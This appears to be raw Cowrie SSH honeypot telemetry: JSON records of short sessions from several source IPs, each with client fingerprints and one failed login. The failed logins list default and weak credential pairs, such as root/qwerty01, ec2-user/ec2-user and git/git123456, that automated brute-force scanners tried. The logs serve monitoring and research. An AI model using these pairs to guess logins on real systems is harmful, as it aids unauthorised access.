{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41946,"dst_ip":"159.203.135.109","dst_port":22,"session":"a365217169c7","protocol":"ssh","message":"New connection: 192.109.200.237:41946 (159.203.135.109:22) [session: a365217169c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:45.357640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:45.362852Z","src_ip":"192.109.200.237","session":"a365217169c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:45.445413Z","src_ip":"192.109.200.237","session":"a365217169c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:45.692835Z","src_ip":"192.109.200.237","session":"a365217169c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:46.777606Z","src_ip":"192.109.200.237","session":"a365217169c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56556,"dst_ip":"10.17.0.5","dst_port":22,"session":"cecd40cf4bd5","protocol":"ssh","message":"New connection: 185.236.22.41:56556 (10.17.0.5:22) [session: cecd40cf4bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:47.601691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:47.613141Z","src_ip":"185.236.22.41","session":"cecd40cf4bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:47.712887Z","src_ip":"185.236.22.41","session":"cecd40cf4bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty01","message":"login attempt [root/qwerty01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:48.159218Z","src_ip":"185.236.22.41","session":"cecd40cf4bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41956,"dst_ip":"159.203.135.109","dst_port":22,"session":"f076c7af1bbe","protocol":"ssh","message":"New connection: 192.109.200.237:41956 (159.203.135.109:22) [session: f076c7af1bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:48.617384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:48.621944Z","src_ip":"192.109.200.237","session":"f076c7af1bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:48.704320Z","src_ip":"192.109.200.237","session":"f076c7af1bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:48.951557Z","src_ip":"192.109.200.237","session":"f076c7af1bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:49.282212Z","src_ip":"185.236.22.41","session":"cecd40cf4bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:50.038602Z","src_ip":"192.109.200.237","session":"f076c7af1bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46692,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d87916134a9","protocol":"ssh","message":"New connection: 192.109.200.237:46692 (159.203.135.109:22) [session: 6d87916134a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:51.786860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:51.796648Z","src_ip":"192.109.200.237","session":"6d87916134a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:51.878261Z","src_ip":"192.109.200.237","session":"6d87916134a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:52.253096Z","src_ip":"192.109.200.237","session":"6d87916134a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54042,"dst_ip":"10.17.0.5","dst_port":22,"session":"f252560f0bc1","protocol":"ssh","message":"New connection: 103.153.68.219:54042 (10.17.0.5:22) [session: f252560f0bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:52.586251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:52.591032Z","src_ip":"103.153.68.219","session":"f252560f0bc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:52.837734Z","src_ip":"103.153.68.219","session":"f252560f0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:53.337363Z","src_ip":"192.109.200.237","session":"6d87916134a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10203040","message":"login attempt [root/10203040] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:53.577671Z","src_ip":"103.153.68.219","session":"f252560f0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.13108468055725,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:53.769999Z","src_ip":"192.119.13.58","session":"874aae70f348","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:54.827719Z","src_ip":"103.153.68.219","session":"f252560f0bc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46696,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad291fa2685","protocol":"ssh","message":"New connection: 192.109.200.237:46696 (159.203.135.109:22) [session: 4ad291fa2685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:55.214278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:55.219486Z","src_ip":"192.109.200.237","session":"4ad291fa2685","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:55.302590Z","src_ip":"192.109.200.237","session":"4ad291fa2685","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:55.549719Z","src_ip":"192.109.200.237","session":"4ad291fa2685","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:56.635691Z","src_ip":"192.109.200.237","session":"4ad291fa2685","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46712,"dst_ip":"159.203.135.109","dst_port":22,"session":"af2b38f40214","protocol":"ssh","message":"New connection: 192.109.200.237:46712 (159.203.135.109:22) [session: af2b38f40214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:58.399769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:58.405389Z","src_ip":"192.109.200.237","session":"af2b38f40214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:58.487770Z","src_ip":"192.109.200.237","session":"af2b38f40214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:58.735613Z","src_ip":"192.109.200.237","session":"af2b38f40214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:08:59.820485Z","src_ip":"192.109.200.237","session":"af2b38f40214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50038,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd48844e567d","protocol":"ssh","message":"New connection: 192.109.200.237:50038 (159.203.135.109:22) [session: cd48844e567d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:01.652935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:01.658136Z","src_ip":"192.109.200.237","session":"cd48844e567d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:01.743350Z","src_ip":"192.109.200.237","session":"cd48844e567d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:02.002535Z","src_ip":"192.109.200.237","session":"cd48844e567d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:03.193554Z","src_ip":"192.109.200.237","session":"cd48844e567d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50050,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d6cbb997538","protocol":"ssh","message":"New connection: 192.109.200.237:50050 (159.203.135.109:22) [session: 7d6cbb997538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:04.859892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:04.867727Z","src_ip":"192.109.200.237","session":"7d6cbb997538","protocol":"ssh"}
